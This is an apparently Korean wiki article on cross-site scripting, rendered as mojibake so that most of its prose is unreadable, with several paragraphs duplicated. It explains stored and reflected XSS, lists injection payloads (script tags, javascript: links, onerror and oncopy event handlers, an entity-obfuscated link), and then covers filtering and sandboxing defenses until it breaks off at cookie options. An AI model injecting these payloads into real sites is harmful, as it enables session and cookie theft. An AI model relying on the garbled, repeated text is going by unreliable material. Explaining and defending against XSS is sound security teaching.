์ด ๋ฌธ์์ ์๋ณธ์ ์ธ๋ถ ์ํค์์ ๊ฐ์ ธ์์ต๋๋ค.
1. ๊ฐ์2. ์์3. ๊ธฐ๋ฒ
3.1. ์คํฌ๋ฆฝํธ ํ๊ทธ3.2. ์๋ฐ์คํฌ๋ฆฝํธ ๋งํฌ3.3. ์ด๋ฒคํธ ์์ฑ3.4. ๋ธ๋๋ฆฌ์คํธ ์ฐํ3.5. ๋ด์ฉ ๋๋
ํ3.6. ์คํฌ๋ฆฝํธ ๋๋
ํ
4. ๋ฐฉ์ด ๋ฐฉ๋ฒ4.1. ์
๋ ฅ ํํฐ
5. ๊ธฐํ6. ๊ด๋ จ ๋ฌธ์4.1.1. ํํฐ ์ ์
4.2. ์ถ๋ ฅ ํํฐ4.3. ์ฟ ํค์ ๋ณด์ ์ต์
์ฌ์ฉ4.4. ์ฝํ
์ธ ๋ณด์ ์ ์ฑ
(Content Security Policy, CSP) ์ฌ์ฉ1. ๊ฐ์[ํธ์ง]
Cross-site Scripting.[1] ๋งํฌ ํ๊ณ ๋ค์ด๊ฐ๋๋ฐ ๊ต์ฐจ์ฌ์ดํธ ์คํฌ๋ฆฝํ
๋ฐฉ์งํ๋ค๊ณ ์ ๋๋ฉด ์ง์ง ์ง์ฆ๋๋ค.
SQL injection๊ณผ ํจ๊ป[2] ์น ์์์ ๊ฐ์ฅ ๊ธฐ์ด์ ์ธ ์ทจ์ฝ์ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ์ ์ผ์ข ์ผ๋ก, ์ ์์ ์ธ ์ฌ์ฉ์๊ฐ ๊ณต๊ฒฉํ๋ ค๋ ์ฌ์ดํธ์ ์คํฌ๋ฆฝํธ๋ฅผ ๋ฃ๋ ๊ธฐ๋ฒ์ ๋งํ๋ค. ๊ณต๊ฒฉ์ ์ฑ๊ณตํ๋ฉด ์ฌ์ดํธ์ ์ ์ํ ์ฌ์ฉ์๋ ์ฝ์ ๋ ์ฝ๋๋ฅผ ์คํํ๊ฒ ๋๋ฉฐ,[3] ๋ณดํต ์๋์น ์์ ํ๋์ ์ํ์ํค๊ฑฐ๋ ์ฟ ํค๋ ์ธ์ ํ ํฐ ๋ฑ์ ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ ํ์ทจํ๋ค.
๊ณต๊ฒฉ ๋ฐฉ๋ฒ์ ๋ฐ๋ผ Stored XSS์ Reflected XSS๋ก ๋๋๋ค. Stored XSS๋ ์ฌ์ดํธ ๊ฒ์ํ์ด๋ ๋๊ธ, ๋๋ค์ ๋ฑ ์คํฌ๋ฆฝํธ๊ฐ ์๋ฒ์ ์ ์ฅ๋์ด ์คํ๋๋ ๋ฐฉ์์ด๊ณ , Reflected XSS๋ ๋ณดํต URL ํ๋ผ๋ฏธํฐ(ํนํ GET ๋ฐฉ์)์ ์คํฌ๋ฆฝํธ๋ฅผ ๋ฃ์ด ์๋ฒ์ ์ ์ฅํ์ง ์๊ณ ๊ทธ ์ฆ์ ์คํฌ๋ฆฝํธ๋ฅผ ๋ง๋๋ ๋ฐฉ์์ด๋ค. ํ์ ๋ ๋ด์ฉ ๋๋ถ๋ถ์ Stored XSS๋ผ๊ณ ์๊ฐํ๋ฉด ๋๋ค. Reflected XSS์ ๊ฒฝ์ฐ ๋ธ๋ผ์ฐ์ ์์ฒด์์ ์ฐจ๋จํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ ์๋์ ์ผ๋ก ๊ณต๊ฒฉ์ ์ฑ๊ณต์ํค๊ธฐ ์ด๋ ต๋ค.
ํฌ๋ก์ค ์ฌ์ดํธ ์คํฌ๋ฆฝํ ์ด๋ ์ด๋ฆ ๋ต๊ฒ, ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ์ฉํ์ฌ ๊ณต๊ฒฉํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง๋ค. ๊ณต๊ฒฉ ๋ฐฉ๋ฒ์ด ๋จ์ํ๊ณ ๊ฐ์ฅ ๊ธฐ์ด์ ์ด์ง๋ง, ๋ง์ ์น์ฌ์ดํธ๋ค์ด XSS์ ๋ํ ๋ฐฉ์ด ์กฐ์น๋ฅผ ํด๋์ง ์์ ๊ณต๊ฒฉ์ ๋ฐ๋ ๊ฒฝ์ฐ๊ฐ ๋ง๋ค. ์ฌ๋ฌ ์ฌ์ฉ์๊ฐ ์ ๊ทผ ๊ฐ๋ฅํ ๊ฒ์ํ ๋ฑ์ ์ฝ๋๋ฅผ ์ฝ์ ํ๋ ๊ฒฝ์ฐ๋ ๋ง์ผ๋ฉฐ, ๊ฒฝ์ฐ์ ๋ฐ๋ผ์๋ ๋ฉ์ผ๊ณผ ๊ฐ์ ๋งค์ฒด๋ฅผ ํตํด์๋ ์ ํ๋๋ค. ์ฌ์ง์ด๋ ๋๋ค์์ ์ฝ๋๋ฅผ ์ฌ๊ธฐ๋ ํ๋ค.
๋ฌผ๋ก , HTML์ ์ฌ์ฉํ๋ ๊ฒ์ด๊ธฐ ๋๋ฌธ์, Text-Only ๊ฒ์ํ์ด๋, BBCode๋ฅผ ์ด์ฉํ๋ ์ํค์ํค ๋ฑ์์๋ XSS๊ฐ ๋ฐ์ํ ์ผ์ ์๋ค. ๋จ, ๋๋ฌด์ํค์ ๊ฒฝ์ฐ
์ฃผ๋ก CSRF๋ฅผ ํ๊ธฐ ์ํด์ ์ฌ์ฉ๋๊ธฐ ๋๋ฌธ์ ์ข ์ข CSRF์ ํผ๋๋๋ ๊ฒฝ์ฐ๊ฐ ์์ผ๋, XSS๋ ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ์คํ์ํค๋ ๊ฒ์ด๊ณ , CSRF๋ ํน์ ํ ํ๋์ ์ํค๋ ๊ฒ์ด๋ฏ๋ก ๋ค๋ฅด๋ค.
SQL injection๊ณผ ํจ๊ป[2] ์น ์์์ ๊ฐ์ฅ ๊ธฐ์ด์ ์ธ ์ทจ์ฝ์ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ์ ์ผ์ข ์ผ๋ก, ์ ์์ ์ธ ์ฌ์ฉ์๊ฐ ๊ณต๊ฒฉํ๋ ค๋ ์ฌ์ดํธ์ ์คํฌ๋ฆฝํธ๋ฅผ ๋ฃ๋ ๊ธฐ๋ฒ์ ๋งํ๋ค. ๊ณต๊ฒฉ์ ์ฑ๊ณตํ๋ฉด ์ฌ์ดํธ์ ์ ์ํ ์ฌ์ฉ์๋ ์ฝ์ ๋ ์ฝ๋๋ฅผ ์คํํ๊ฒ ๋๋ฉฐ,[3] ๋ณดํต ์๋์น ์์ ํ๋์ ์ํ์ํค๊ฑฐ๋ ์ฟ ํค๋ ์ธ์ ํ ํฐ ๋ฑ์ ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ ํ์ทจํ๋ค.
๊ณต๊ฒฉ ๋ฐฉ๋ฒ์ ๋ฐ๋ผ Stored XSS์ Reflected XSS๋ก ๋๋๋ค. Stored XSS๋ ์ฌ์ดํธ ๊ฒ์ํ์ด๋ ๋๊ธ, ๋๋ค์ ๋ฑ ์คํฌ๋ฆฝํธ๊ฐ ์๋ฒ์ ์ ์ฅ๋์ด ์คํ๋๋ ๋ฐฉ์์ด๊ณ , Reflected XSS๋ ๋ณดํต URL ํ๋ผ๋ฏธํฐ(ํนํ GET ๋ฐฉ์)์ ์คํฌ๋ฆฝํธ๋ฅผ ๋ฃ์ด ์๋ฒ์ ์ ์ฅํ์ง ์๊ณ ๊ทธ ์ฆ์ ์คํฌ๋ฆฝํธ๋ฅผ ๋ง๋๋ ๋ฐฉ์์ด๋ค. ํ์ ๋ ๋ด์ฉ ๋๋ถ๋ถ์ Stored XSS๋ผ๊ณ ์๊ฐํ๋ฉด ๋๋ค. Reflected XSS์ ๊ฒฝ์ฐ ๋ธ๋ผ์ฐ์ ์์ฒด์์ ์ฐจ๋จํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ ์๋์ ์ผ๋ก ๊ณต๊ฒฉ์ ์ฑ๊ณต์ํค๊ธฐ ์ด๋ ต๋ค.
ํฌ๋ก์ค ์ฌ์ดํธ ์คํฌ๋ฆฝํ ์ด๋ ์ด๋ฆ ๋ต๊ฒ, ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ์ฉํ์ฌ ๊ณต๊ฒฉํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง๋ค. ๊ณต๊ฒฉ ๋ฐฉ๋ฒ์ด ๋จ์ํ๊ณ ๊ฐ์ฅ ๊ธฐ์ด์ ์ด์ง๋ง, ๋ง์ ์น์ฌ์ดํธ๋ค์ด XSS์ ๋ํ ๋ฐฉ์ด ์กฐ์น๋ฅผ ํด๋์ง ์์ ๊ณต๊ฒฉ์ ๋ฐ๋ ๊ฒฝ์ฐ๊ฐ ๋ง๋ค. ์ฌ๋ฌ ์ฌ์ฉ์๊ฐ ์ ๊ทผ ๊ฐ๋ฅํ ๊ฒ์ํ ๋ฑ์ ์ฝ๋๋ฅผ ์ฝ์ ํ๋ ๊ฒฝ์ฐ๋ ๋ง์ผ๋ฉฐ, ๊ฒฝ์ฐ์ ๋ฐ๋ผ์๋ ๋ฉ์ผ๊ณผ ๊ฐ์ ๋งค์ฒด๋ฅผ ํตํด์๋ ์ ํ๋๋ค. ์ฌ์ง์ด๋ ๋๋ค์์ ์ฝ๋๋ฅผ ์ฌ๊ธฐ๋ ํ๋ค.
๋ฌผ๋ก , HTML์ ์ฌ์ฉํ๋ ๊ฒ์ด๊ธฐ ๋๋ฌธ์, Text-Only ๊ฒ์ํ์ด๋, BBCode๋ฅผ ์ด์ฉํ๋ ์ํค์ํค ๋ฑ์์๋ XSS๊ฐ ๋ฐ์ํ ์ผ์ ์๋ค. ๋จ, ๋๋ฌด์ํค์ ๊ฒฝ์ฐ
{{{#!html HTML}}} ์ ์ด์ฉํด์ HTML ํ๊ทธ๋ฅผ ์ฌ์ฉํ ์ ์์ผ๋ฏ๋ก ์ทจ์ฝ์ ์ด ์์ ์๋ ์๋ค. ๊ทธ๋์ ๋๋ฌด์ํค ์ด๋ฐ์๋ ์คํฌ๋ฆฝํธ ํ๊ทธ์ ์ด๋ฒคํธ ์์ฑ๋ ๋ง์ง ์์๋ค. ๋ฌผ๋ก , ์ด๋ ํ์ ๋๋ถ๋ถ ์์ ๋์๋ค.์ฃผ๋ก CSRF๋ฅผ ํ๊ธฐ ์ํด์ ์ฌ์ฉ๋๊ธฐ ๋๋ฌธ์ ์ข ์ข CSRF์ ํผ๋๋๋ ๊ฒฝ์ฐ๊ฐ ์์ผ๋, XSS๋ ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ์คํ์ํค๋ ๊ฒ์ด๊ณ , CSRF๋ ํน์ ํ ํ๋์ ์ํค๋ ๊ฒ์ด๋ฏ๋ก ๋ค๋ฅด๋ค.
2. ์์[ํธ์ง]
3. ๊ธฐ๋ฒ[ํธ์ง]
์๋๋ ํ๊ตญ์์ ๊ฐ์ฅ ๋ง์ด ์ฌ์ฉ๋๋ IE ๊ธฐ์ค์ผ๋ก ์์ฑํ ๊ฒ์ด๋ค. ๋ฐ๋ผ์ ํฌ๋กฌ, ํ์ด์ดํญ์ค ๋ฑ์ ๋ธ๋ผ์ฐ์ ๋ ์ต์ ๋ธ๋ผ์ฐ์ ํ๊ฒฝ์์๋ ์๋ํ์ง ์์ ์๋ ์๋ค.
์คํ์ ์ด ๊ณณ์์ ํด๋ณด์.
์คํ์ ์ด ๊ณณ์์ ํด๋ณด์.
3.1. ์คํฌ๋ฆฝํธ ํ๊ทธ[ํธ์ง]
๋ฐฉ๋ฒ | ์คํฌ๋ฆฝํธ ํ๊ทธ๋ก ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ๋ค. |
์์ | <script>alert('XSS');</script> |
์ค๋ช
| ์คํฌ๋ฆฝํธ ํ๊ทธ์ ์คํฌ๋ฆฝํธ๋ฅผ ์คํ์ํจ๋ค. ์ํ๊น๊ฒ๋, ๋งค์ฐ ์ ์งํ ๋ฐฉ๋ฒ์ด๋ผ ๋๋ถ๋ถ์ ์ฌ์ดํธ์์ ๋ง๋ ๊ฒฝ์ฐ๊ฐ ๋ง๋ค. ๋ธ๋ผ์ฐ์ ๋จ์์ ํํฐ๋ง ํด์ฃผ๋ ๊ฒฝ์ฐ๋ ์๋ค. |
3.2. ์๋ฐ์คํฌ๋ฆฝํธ ๋งํฌ[ํธ์ง]
๋ฐฉ๋ฒ | ๋งํฌ ํ๊ทธ๋ก ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ๋ค. |
์์ | <a href="javascript:alert('XSS')">XSS</a> |
์ค๋ช
| ๋ธ๋ผ์ฐ์ ์์ about: ๋งํฌ์ ๊ฐ์ด, javascript: ๋ก ์์ํ๋ ๋งํฌ๋ ์คํฌ๋ฆฝํธ๋ฅผ ์คํ์ํจ๋ค. ์คํฌ๋ฆฝํธ ํ๊ทธ์ ๊ฐ์ด, javascript: ๋ฅผ ํํฐ๋งํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ ๋ง์ ์ฌ์ดํธ์์ ๋ง๋๋ค. |
3.3. ์ด๋ฒคํธ ์์ฑ[ํธ์ง]
๋ฐฉ๋ฒ | ์ด๋ฒคํธ ์์ฑ์ ์ฌ์ฉํ๋ค. |
์์ | <img src="#" onerror="alert('XSS')"> |
์ค๋ช
| ์ด๋ฒคํธ ์์ฑ์ผ๋ก ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ ์ ์๋ค. ์ฃผ๋ก on ์ผ๋ก ์์ํ๋ ์์ฑ์ด ์ด๋ฒคํธ ์์ฑ์ด๋ค. ์์ฃผ ์ฌ์ฉ๋๋ ์ด๋ฒคํธ ์์ฑ์ผ๋ก๋ onload onerror onclick ๋ฑ์ด ์๋ค. ๋ฌผ๋ก , ์ด ๋ฐฉ๋ฒ ์ญ์ '์๋ฐ์คํฌ๋ฆฝํธ ๋งํฌ' ๋ฐฉ๋ฒ๋งํผ ๋ง์ด ๋งํ๋ค. |
3.4. ๋ธ๋๋ฆฌ์คํธ ์ฐํ[ํธ์ง]
๋ฐฉ๋ฒ | ์๋ ค์ง์ง ์์ ํ๊ทธ์ ์์ฑ๋ค์ ์ฌ์ฉํ๋ค. |
์์ | <ruby oncopy="alert('XSS')">XSS</ruby> |
์ค๋ช
| ๋ธ๋ ๋ฆฌ์คํธ ๋ฐฉ์์ผ๋ก ๋ง๋ ์ฌ์ดํธ์ ์ฌ์ฉํ ์ ์๋ค. ์ด๋ฒคํธ ์์ฑ ๋ชฉ๋ก์ ์ฐธ๊ณ ํ์. ์์ ๋ฐฉ๋ฒ๋ค๋ณด๋ค๋ ์ ๊ฒ ๋งํ์ผ๋, ์ฌ์ ํ ์ต๊ทผ ์น์ฌ์ดํธ๋ค์์ ํ์ดํธ๋ฆฌ์คํธ ๋ฐฉ์ ์ฐจ๋จ์ด ๋๋ถ๋ถ์ด๋ผ, ๋งํ์ ๊ฐ๋ฅ์ฑ์ด ๋๋ค. |
3.5. ๋ด์ฉ ๋๋ ํ[ํธ์ง]
๋ฐฉ๋ฒ | ๋ฐ์ดํ๋ก ๊ฐ์ธ๋ ๋ฌธ์์ด ์ฌ์ด์ ๊ณต๋ฐฑ ๋ฌธ์๋ค์ ๋ฃ๊ณ , HTML ์ธ์ฝ๋๋ฅผ ํ์ฌ ๋๋
ํํ๋ค. |
์์ | <a href="javas
cript
:
alert
('XSS')">XSS</a> |
์ค๋ช
| ์ผ๋ถ ๋ธ๋ผ์ฐ์ ์์ javascript: ๋งํฌ ์ฌ์ด์ ๊ณต๋ฐฑ ๋ฌธ์๊ฐ ๋ค์ด๊ฐ ์ ์๊ณ , HTML ์ธ์ฝ๋๋ฅผ ํด๋ ๋์ฝ๋๋ ๋ด์ฉ์ด ์ถ๋ ฅ๋๋ค๋ ์ ์ ์ด์ฉํ๋ค. ์ฌ๊ธฐ์์๋ '์๋ฐ์คํฌ๋ฆฝํธ ๋งํฌ' ๋ฐฉ๋ฒ๊ณผ ์ฌ์ฉํ์์ง๋ง, ๋น์ฐํ ๋ค๋ฅธ ๋ฐฉ๋ฒ๊ณผ ํจ๊ป ์ฌ์ฉํ ์ ์๋ค. |
3.6. ์คํฌ๋ฆฝํธ ๋๋ ํ[ํธ์ง]
๋ฐฉ๋ฒ | aaaencode์์ ์๋ฐ์คํฌ๋ฆฝํธ ๋๋
ํ. |
์์ |
|
์ค๋ช
| ์คํฌ๋ฆฝํธ๋ฅผ ์ผ๋ณธ์ด๋ฅผ ์ฌ์ฉํ ์ด๋ชจํฐ์ฝ๋ค๋ก ๋๋
ํํ๋ค.[7] ์คํฌ๋ฆฝํธ ์คํ์ ๊ฐ๋ฅํ์ง๋ง, document.cookie ์ ๊ฐ์ ๋จ์ด๋ฅผ ๋ง์ ๊ฒฝ์ฐ ์ฌ์ฉํ๋ฉด ๋๋ค. |
4. ๋ฐฉ์ด ๋ฐฉ๋ฒ[ํธ์ง]
XSS๋ ๋ฐ์ดํฐ๋ฅผ ์
๋ ฅํ ๋์ ์ถ๋ ฅํ ๋, ๋ชจ๋ ํํฐ๋งํ๊ณ , ํด๋ผ์ด์ธํธ์๋ ๋ง์ ์ ์์๋งํ ์๋จ์ ๊ตฌ์ฑํด๋๋ ๊ฒ์ด ์ข๋ค. ๋ณด์์ ํ์์ด ๋ง๋๋ ๋์ด ์๊ณ , ์๋ ์์ ํ ๋ฐฉ์์ผ๋ก ๊ตฌ์ฑํด๋ ๊ธฐ์ด์ฝ ๋ซ์ด๋ฒ๋ฆฌ๋ ์ฌ๋๋ค์ด ์กด์ฌํ๊ธฐ ๋๋ฌธ์ด๋ค.
4.1. ์ ๋ ฅ ํํฐ[ํธ์ง]
์๋ฐ๋ ์ ๋นํ XSS ํํฐ๋ฅผ ๋ง๋ ๋ค, web.xml์ ์ ์ธํ์ฌ ๋ชจ๋ ํ๋ผ๋ฏธํฐ๊ฐ ํด๋น ํํฐ๋ฅผ ๊ฑฐ์น๋๋ก ํ๋๊ฒ ๋ง์ผ๋ก๋ ์ข์ ํจ๊ณผ๋ฅผ ๋ณผ ์ ์๋ค.
PHP๋ ์ ๋ ฅ์ ์ฒ๋ฆฌํ ๋, ์ ๊ท์์ ์ด์ฉํ๋ preg_replace๋ฅผ ์ฌ์ฉํ๊ฑฐ๋, ๋ ธ๋๋ฅผ ์ด์ฉํ๋ DOMDocument๋ฅผ ์ฌ์ฉํ ์ ์๋ค. ์๋๋ preg_replace๊ฐ ๋ ๋น ๋ฅด์ง๋ง, ์ ๊ท์์ ๊ฒฝ์ฐ ์์ธ์ ์ค๋ฅ๊ฐ ์ข ์ข ๋ฐ์ํ๊ธฐ ๋๋ฌธ์, ๋ ์์ ํ DOMDocument๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ด ๊ถ์ฅ๋๋ค.[8]
PHP๋ ์ ๋ ฅ์ ์ฒ๋ฆฌํ ๋, ์ ๊ท์์ ์ด์ฉํ๋ preg_replace๋ฅผ ์ฌ์ฉํ๊ฑฐ๋, ๋ ธ๋๋ฅผ ์ด์ฉํ๋ DOMDocument๋ฅผ ์ฌ์ฉํ ์ ์๋ค. ์๋๋ preg_replace๊ฐ ๋ ๋น ๋ฅด์ง๋ง, ์ ๊ท์์ ๊ฒฝ์ฐ ์์ธ์ ์ค๋ฅ๊ฐ ์ข ์ข ๋ฐ์ํ๊ธฐ ๋๋ฌธ์, ๋ ์์ ํ DOMDocument๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ด ๊ถ์ฅ๋๋ค.[8]
4.1.1. ํํฐ ์ ์[ํธ์ง]
๋จ์ํ ํ
์คํธ๋ง ์
๋ ฅ์ํค๊ฑฐ๋ ์ถ๋ ฅํ๋ ๋ฐ ํํฐ๋ฅผ ์ ์ํ ๋, ์ฃผ๋ก ํํฐ๋๋ ๊ฒ์ด <์ >์ด๋ค. ๊ฐ๊ฐ
< ์ > ์ฒ๋ผ HTML ๋ฌธ์๋ก ๋ฐ๊พธ์ด์ HTML ์ฝ๋๊ฐ ์๋ ๋จ์ ๋ฌธ์๋ก ์ธ์ํ๊ฒ ํ๋ ๊ฒ์ด๋ค. ํ์ง๋ง, ์ด ๊ฒฝ์ฐ๋ ๋ชจ๋ HTML ํ๊ทธ๋ฅผ ๋ง์๋ฒ๋ฆฌ๊ธฐ ๋๋ฌธ์, ๊ฐ์ข
์คํ์ผ์ ์ ์ฉ์์ผ์ผํ๋ ์ฌ์ดํธ์์๋ ๋ง์ง ์์ ์๋ ์๋ค.4.1.1.1. ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ ์[ํธ์ง]
๊ฐ์ข
์คํ์ผ์ ์ ์ฉ์์ผ ๊ธ์ ๊พธ๋ฉฐ์ผ ํ๋ ์ฌ์ดํธ์ ๊ฒฝ์ฐ, ์คํฌ๋ฆฝํธ ํ๊ทธ์ ์ด๋ฒคํธ ์์ฑ,
์ด ๋, ์ผ๋ถ ํ๊ทธ ๋ฐ ์์ฑ๋ง ๋ง๊ธฐ ๋ณด๋ค๋, ๋ฐ๋๋ก ์ผ๋ถ ํ๊ทธ ๋ฐ ์์ฑ๋ง ํ์ฉํ๊ฒ ํ๋ ๊ฒ์ด ์ข๋ค. ๋ช๋ช ํ๊ทธ๋ง ๋ง๋๋ค๋ฉด HTML ํ๊ทธ๋ ์์ฑ์ด ์ถ๊ฐ๋ ์๋ก ์ฃผ๊ธฐ์ ์ผ๋ก ํํฐ๋ฅผ ์์ ํด์ค์ผ ํ๋๋ฐ, ์ด๋ด ๊ฒฝ์ฐ HTML ํ์ค์ ์ฃผ๊ธฐ์ ์ผ๋ก ๊ผผ๊ผผํ ์ฑ๊ฒจ๋ณด์ง ์๋ ํ์[9], ์ ๋ฐ์ดํธ๋ฅผ ํ๋ ์ฌ์ด์ ์ด๋ฏธ ํด์ปค๊ฐ ์นจํฌํด๋๊ณ ์ ์ ์์ ํ๊ฒ ๋น ์ ธ๋๊ฐ์ ์๋ ์๋ค.
javascript: ๋งํฌ๋ง ์ ๋๋ก ๋ง์์ฃผ์ด๋ ์๋น์๋ฅผ ๋ง์ ์ ์์ ๊ฒ์ด๋ค. ํ์ง๋ง, EMBED ํ๊ทธ๋ฅผ ์ด์ฉํ์ฌ ์ ๋ฐ ๊ธฐ๋ฒ์ ์ฌ์ฉํ์ง ์๊ณ ๋ XSS๋ฅผ ๋จน์ด๋ ๊ฒฝ์ฐ๊ฐ ์์ผ๋ฏ๋ก, ๋ค๋ฅธ ๊ฒ๋ค๋ ๋ชจ๋ ๋ง์์ฃผ์ด์ผ ํ๋ค.์ด ๋, ์ผ๋ถ ํ๊ทธ ๋ฐ ์์ฑ๋ง ๋ง๊ธฐ ๋ณด๋ค๋, ๋ฐ๋๋ก ์ผ๋ถ ํ๊ทธ ๋ฐ ์์ฑ๋ง ํ์ฉํ๊ฒ ํ๋ ๊ฒ์ด ์ข๋ค. ๋ช๋ช ํ๊ทธ๋ง ๋ง๋๋ค๋ฉด HTML ํ๊ทธ๋ ์์ฑ์ด ์ถ๊ฐ๋ ์๋ก ์ฃผ๊ธฐ์ ์ผ๋ก ํํฐ๋ฅผ ์์ ํด์ค์ผ ํ๋๋ฐ, ์ด๋ด ๊ฒฝ์ฐ HTML ํ์ค์ ์ฃผ๊ธฐ์ ์ผ๋ก ๊ผผ๊ผผํ ์ฑ๊ฒจ๋ณด์ง ์๋ ํ์[9], ์ ๋ฐ์ดํธ๋ฅผ ํ๋ ์ฌ์ด์ ์ด๋ฏธ ํด์ปค๊ฐ ์นจํฌํด๋๊ณ ์ ์ ์์ ํ๊ฒ ๋น ์ ธ๋๊ฐ์ ์๋ ์๋ค.
4.1.1.2. ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ด์ฉ[ํธ์ง]
๊ธฐ์กด์ ์๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ๊ฐ์ ธ๋ค ์ฌ์ฉํด๋ ์ข๋ค. ๊ฐ์ธ์ด๋ ์๊ท๋ชจ ๋จ์ฒด๊ฐ ๋ง๋ ๊ฒ ๋ณด๋ค๋, ์ ๋ฌธ์ ์ธ ๋ณด์ ์
์ฒด๋ ๊ฑฐ๋ ๊ธฐ์
์์ ๋ง๋ ๊ฒ์ด ๊ณต์ ๋ ฅ์๊ณ ํธํ๊ธฐ ๋๋ฌธ์ด๋ค. ์ฌ์ฉํ ๋งํ ๊ฒ์ผ๋ก๋ OWASP Antisamy์ด๋ NAVER Lucy XSS Filter, ESAPI ๋ฑ์ ์ด์ฉํ๋ ๋ฐฉ๋ฒ์ด ์๋ค.
4.1.1.3. BBCode ์ฌ์ฉ[ํธ์ง]
๊ธ์ ๊พธ๋ฉฐ์ผ ํ์ง๋ง, ๋ฐ๋ก ํํฐ๋ฅผ ๋ง๋ค๊ธด ์ด๋ ค์ด ๊ฒฝ์ฐ, BBCode๋ฅผ ์ฌ์ฉํ ์๋ ์๋ค.[10] ๋๋ถ๋ถ์ ์ํค์์[11]๋ ์ด ๋ฐฉ๋ฒ์ ์ฌ์ฉํ๊ธฐ๋ ํ๋, ์ง๊ธ ์ด ๊ธ์ ๋ณด๊ณ ์๋ ๋น์ ์ด๋ผ๋ฉด ์๋นํ ์ต์ํ ์๋ ์๊ฒ ๋ค, ๋ง๋ค๊ธฐ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ ๋นํด ํธํ๊ณ , ์์ ์ฑ๋ ๋์ ํธ์ด๊ธฐ ๋๋ฌธ์ ๊ฐ์ฅ ์ถ์ฒ๋๋ ๋ฐฉ๋ฒ์ด๋ค. ๋ํ <๋ >๊ฐ์ HTML ์ฝ๋๋ฅผ ๋จ์ ๋ฌธ์๋ก ๋ฐ๊ฟ ์ ์๊ธฐ ๋๋ฌธ์ XSS๊ฐ ์คํ๋ ์ผ๋ ค๊ฐ ์ ๋ค. ํ์ง๋ง ์ด ๋, ์ ๊ท์๊ณผ ๊ฐ์ด ๋จ์ํ ๋ฌธ์์ด ์นํ์ผ๋ก ์์ ํ ๊ฒฝ์ฐ, XSS๊ฐ ๋ฐ์ํ ์๋ ์๋ค.
4.2. ์ถ๋ ฅ ํํฐ[ํธ์ง]
HTML5๋ถํฐ iframe์ sandbox ์ต์
์ผ๋ก iframe ๋ด์ ์๋ฐ์คํฌ๋ฆฝํธ, ํผ๊ณผ ๊ฐ์ ๊ฒ์ ์ ํ์ด ๊ฐ๋ฅํด ์ก์ผ๋ฏ๋ก, ์์ ๋ฐฉ๋ฒ์ ์คํํ ๋ค 2์ฐจ์ ์ผ๋ก ์จ๋ณด๋ ๊ฒ๋ ์ข๋ค. ๋จ, ์ด๋๊น์ง๋ 2์ฐจ๋ก๋ง ์ฌ์ฉํ๋ ๊ฒ์ด ์ข๋ค. ๊ตฌ๋ฒ์ ์ ์น ๋ธ๋ผ์ฐ์ ๋ผ๋ฉด ํธํ์ด ๋์ง ์์ ์คํฌ๋ฆฝํธ๊ฐ ๊ทธ๋๋ก ์คํ๋๊ฑฐ๋, ์ค๋ น ๊ทธ๊ฒ ์๋๋๋ผ๋ ์น ๋ธ๋ผ์ฐ์ ์์ ์ทจ์ฝ์ ์ด ๋ฐ๊ฒฌ๋ ๊ฒฝ์ฐ, ์ด๋ฐ ๋ฐฉ๋ฒ์ด ๋ซ๋ฆด ์ ์๊ธฐ ๋๋ฌธ์ด๋ค.
iframe์ ๋จ์ํ ๋ค๋ฅธ ์น์ฌ์ดํธ๋ฅผ ๋ถ๋ฌ์ค๋ ๊ฒ๋ง์ด ์๋๋ผ, ๋ถ๋ชจ ์ฐฝ์์ ๋ง์๋๋ก ์์ ํ ์ ์๊ธฐ ๋๋ฌธ์, ๋ฌด์ํ๊ฒ ๋ค๋ฅธ ํ์ด์ง๋ฅผ ๋ถ๋ฌ์ค๋ฉฐ AJAX๋ PJAX ๋ฑ์ ํฌ๊ธฐํ๋ฉฐ ์ฌ์ฉํ์ง ๋ง์. ๋ฌผ๋ก , ๊ธฐ์กด๋ถํฐ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฌ์ฉํ์ง ์๊ณ ์น ํ์ด์ง๋ฅผ ๊ฐ๋ฐํ๋ ์ฌ๋๋ณํ์ ๋ฌผ๋ก ์ด๊ณ , jQuery๊ฐ์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฌ์ฉํ๋ ์ฌ๋๋ค๋ ์กฐ๊ธ๋ง ๊ฒ์ํด๋ณด๋ฉด ๊ฐ๋จํ๊ฒ iframe์ ๋ด์ฉ์ ์์ ํ ์ ์๋ ๋ฐฉ๋ฒ์ด ๋์ค๋ ๋์ ํด ๋ณด๋๋ก ํ์.
iframe์ ๋จ์ํ ๋ค๋ฅธ ์น์ฌ์ดํธ๋ฅผ ๋ถ๋ฌ์ค๋ ๊ฒ๋ง์ด ์๋๋ผ, ๋ถ๋ชจ ์ฐฝ์์ ๋ง์๋๋ก ์์ ํ ์ ์๊ธฐ ๋๋ฌธ์, ๋ฌด์ํ๊ฒ ๋ค๋ฅธ ํ์ด์ง๋ฅผ ๋ถ๋ฌ์ค๋ฉฐ AJAX๋ PJAX ๋ฑ์ ํฌ๊ธฐํ๋ฉฐ ์ฌ์ฉํ์ง ๋ง์. ๋ฌผ๋ก , ๊ธฐ์กด๋ถํฐ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฌ์ฉํ์ง ์๊ณ ์น ํ์ด์ง๋ฅผ ๊ฐ๋ฐํ๋ ์ฌ๋
4.3. ์ฟ ํค์ ๋ณด์ ์ต์ ์ฌ์ฉ[ํธ์ง]
